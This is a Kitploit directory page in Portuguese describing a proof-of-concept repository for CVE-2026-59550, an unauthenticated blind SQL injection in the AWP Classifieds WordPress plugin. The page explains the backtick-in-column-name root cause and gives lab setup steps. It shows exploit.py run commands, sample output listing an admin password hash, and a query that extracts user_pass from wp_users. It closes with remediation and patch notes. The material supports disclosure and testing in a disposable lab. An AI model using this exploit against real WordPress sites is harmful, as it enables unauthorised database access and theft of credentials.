Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-59550 — PoC de injeção SQL cega baseada em tempo não autenticada para AWP Classifieds <= 4.4.7, com um laboratório Docker, writeup completo e diff de patch. | Kitploit
Ferramentas/GitHubGitHub/flx-0x00/cve-2026-59550
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoLabs e Prática
GitHubflx-0x00/cve-2026-59550

CVE-2026-59550

PoC de injeção SQL cega baseada em tempo não autenticada para AWP Classifieds <= 4.4.7, com um laboratório Docker, writeup completo e diff de patch.

18há 20 diasAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-59550 - AWP Classifieds ≤ 4.4.7 injeção SQL não autenticada

Injeção SQL cega baseada em tempo, não autenticada, no plugin WordPress AWP Classifieds (another-wordpress-classifieds-plugin), acessível através do fluxo AJAX anónimo (convidado) de submissão de anúncios do plugin.

CVECVE-2026-59550
PluginAWP Classifieds (another-wordpress-classifieds-plugin)
Vulnerável<= 4.4.7
Corrigido4.4.8
ClasseInjeção SQL (OWASP A3: Injection)
PrivilégioNão autenticado
CVSS v3.19.3 (Alto)
SinkAWPCP_BasicRegionsAPI::save() - includes/regions-api.php
Reportado porThaer Assfour (via Patchstack)
Advisoryhttps://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability

TL;DR

AWPCP_BasicRegionsAPI::save() encaminha as chaves de um array regions fornecido pelo utilizador diretamente para $wpdb->insert() / $wpdb->update(). O WordPress envolve os nomes das colunas em backticks mas não os escapa, pelo que uma chave contendo um backtick sai do identificador e injeta SQL arbitrário. O array regions é obtido literalmente de $_POST e toda a cadeia é acessível sem autenticação sempre que a publicação de anúncios por convidados está ativa (requireuserregistration = 0, o valor predefinido).

A correção na 4.4.8 adiciona uma allowlist explícita de colunas (filter_region_columns()) e uma allowlist de campos para as regiões submetidas (prepare_submitted_region()).

Estrutura do repositório

.
├── README.md                     # this file
├── docs/
│   └── WRITEUP.md                # full technical writeup
├── exploit/
│   ├── exploit.py                # unauthenticated blind SQLi PoC
│   └── requirements.txt
├── lab/
│   ├── docker-compose.yml        # WordPress 6.8 + MariaDB 11, vuln + patched
│   ├── setup.sh                  # stage plugins, boot, provision both sites
│   └── teardown.sh               # remove containers + volumes + staged files
└── patches/
    ├── 4.4.8-regions-api.diff    # the security fix (single file)
    └── 4.4.7-to-4.4.8-full.diff  # complete release diff

Início rápido

Requisitos: Docker + Docker Compose, Python 3 com requests, unzip.

# 1. build and provision the disposable lab (Docker only)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
           /path/to/another-wordpress-classifieds-plugin.4.4.8.zip
#   -> vulnerable (4.4.7): http://localhost:8080/?page_id=8
#   -> patched    (4.4.8): http://localhost:8090/?page_id=8

# 2. run the PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080            # should be VULNERABLE
python3 exploit.py http://localhost:8090            # should be PATCHED

# 3. tear everything down
cd ../lab && ./teardown.sh

setup.sh aceita os dois arquivos do plugin como argumentos ou através das variáveis de ambiente AWP447_ZIP / AWP448_ZIP; recorre a ~/Downloads/<slug>.4.4.7.zip e ~/Downloads/<slug>.4.4.8.zip como fallback. Os arquivos não estão incluídos neste repositório - o core do WordPress original e as cópias do plugin residem apenas em lab/html-*/ e estão no git-ignore.

O que o PoC faz

[*] target          : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
  [+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version  : 11.8.9-MariaDB
[+] first WP user : admin

Extraia dados arbitrários com uma query explícita:

python3 exploit.py http://localhost:8080 \
  --query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
  --maxlen 60

O PoC é um oráculo baseado em tempo, pelo que não necessita de reflexão da saída SQL e funciona num alvo totalmente cego.

A causa raiz numa linha

// includes/regions-api.php (4.4.7)
public function save( $region ) {
    ...
    $result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}

Consulte docs/WRITEUP.md para a análise completa de taint, o rasto do pedido, a prova do SQL gerado e a discussão da correção.

Remediação

  • Atualize o AWP Classifieds para a 4.4.8 ou superior.
  • Entretanto: force requireuserregistration = 1 e/ou bloqueie as ações AJAX awpcp_save_listing_information / awpcp_create_empty_listing.

Legal

Este material é fornecido apenas para investigação de segurança defensiva, educação e testes autorizados. Não o utilize contra sistemas que não possui ou para os quais não tem permissão escrita explícita para testar. O laboratório é totalmente contentorizado e descartável.

Baixar ferramenta